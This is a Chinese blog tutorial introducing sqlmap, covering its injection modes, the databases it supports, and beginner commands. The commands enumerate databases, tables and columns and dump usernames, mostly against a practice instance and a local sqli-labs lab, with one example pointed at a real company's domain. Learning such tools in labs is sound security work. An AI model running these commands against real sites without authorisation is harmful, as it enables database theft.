sqlmap
简介
sqlmap是一款开源的渗透测试工具,可以用来进行自动化检测,利用 SQL 注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。
同时它也支持五种注入模式:
- 基于布尔的盲注,即可以根据返回页面判断条件真假的注入;
- 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中;
- 基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断;
- 联合查询注入,可以使用 union 的情况下的注入;
- 堆查询注入,可以同时执行多条语句的执行时的注入。
支持多种数据库
sqlmap支持的数据库有
MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB
很多时候使用sqlmap会使得sql注入变得更加的简单,高效,
使用初阶
本篇博客基于windows环境进行操作
在安装sqlmap的文件夹下打开命令行,使用命令
python sqlmap.py -u "http://220.249.52.133:43929/?inject=1" -v 3
这里的-v 3是输出等级,3代表显示注入时使用的payload,便于加深理解
- 在检测出报错点后继续添加语句来爆库名
python sqlmap.py -u "http://220.249.52.133:43929/?inject=1" --dbs -v 3
- 在得到库名后对指定库进行表查询:
python sqlmap.py -u 'http://localhost/sqli-labs/Less-1/?id=1' -D security --tables -v 3
- 得到表名后查表中单列
python sqlmap.py -u 'http://localhost/sqli-labs/Less-1/?id=1' -D security -T users --columns -v 3
- 得到列后获取数据即可
python sqlmap.py -u 'http://localhost/sqli-labs/Less-1/?id=1' -D security -T users -C username --dump -v 3
有一个小技巧,SQLMap 可以区分一个 URL 里面的参数来进行注入点测试,但在遇到了一些做了伪静态的网页就无法自动识别了。
/admin/1/` 类似于这种,SQLMap 便无法进行注入测试,但它实际上可能是这样的: `/admin.php?id=1
它只是把参数隐藏在了 URL 中,对于这种网页,直接在参数后加上一个星号即可.
sqlmap.py -u "www.baidu.com/admin/1*"
如果想要进阶使用sqlmap就需要熟练掌握其参数配置以及tamper脚本的编写使用: